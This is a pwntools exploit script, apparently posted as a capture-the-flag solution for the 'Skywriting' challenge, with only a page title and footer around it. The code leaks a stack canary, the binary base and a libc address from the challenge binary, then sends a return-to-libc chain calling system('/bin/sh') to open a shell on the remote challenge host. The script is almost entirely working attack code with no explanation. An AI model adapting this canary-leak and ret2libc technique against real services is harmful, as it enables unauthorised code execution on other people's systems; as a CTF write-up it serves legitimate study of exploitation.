Skywriting
from pwn import *
mode = sys.argv[1]
NUM_TO_CANARY = 0x90 - 0x8
NUM_TO_RET = NUM_TO_CANARY+16
retgadget = 0x000000000000078e # ret
poprdi = 0x0000000000000bd3 # pop rdi ; ret
e = ELF("./sky")
def getproc():
if mode == 'local':
return e.process()
else:
return remote('2020.redpwnc.tf', 31034)
def setup():
p = getproc()
p.recvline()
p.sendline("1")
p.recvuntil("shot: ")
return p
def getoutput(data):
global p
p.sendline(data)
p.recvuntil(data + b'\n')
output = p.recvuntil("??")[:-2]
p.recvuntil("shot: ")
return output
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" if mode == 'local' else "/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
p = setup()
#Leak canary and binary base
libret = 0x21b97 if mode == 'remote' else 0x26e0b
leak = getoutput(b"A" * (NUM_TO_CANARY))
canary = u64(b'\x00' + leak[:7])
log.info(f"Canary: {hex(canary)}")
pause()
fini = u64(leak[7:] + b'\x00\x00')
e.address = fini - 0xb70
log.info(f"Binary base: {hex(e.address)}")
#Leak libc base by leaking the libc start main ret
leak2 = getoutput(b"A" * (NUM_TO_RET-1))
libret_leak = u64(leak2 + b'\x00\x00')
log.info(f"Libc start main ret: {hex(libret_leak)}")
libcbase = libret_leak - libret
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
retgadget += e.address
poprdi += e.address
# Everything has been leaked. Develop the final payload.
final = flat(canary,b'C'*8,poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system'],word_size=64)
padding = b"notflag{a_cloud_is_just_someone_elses_computer}\n\x00"
padding += b'B' * (NUM_TO_CANARY - len(padding))
p.sendline(padding + final)
p.interactive()Last updated
Was this helpful?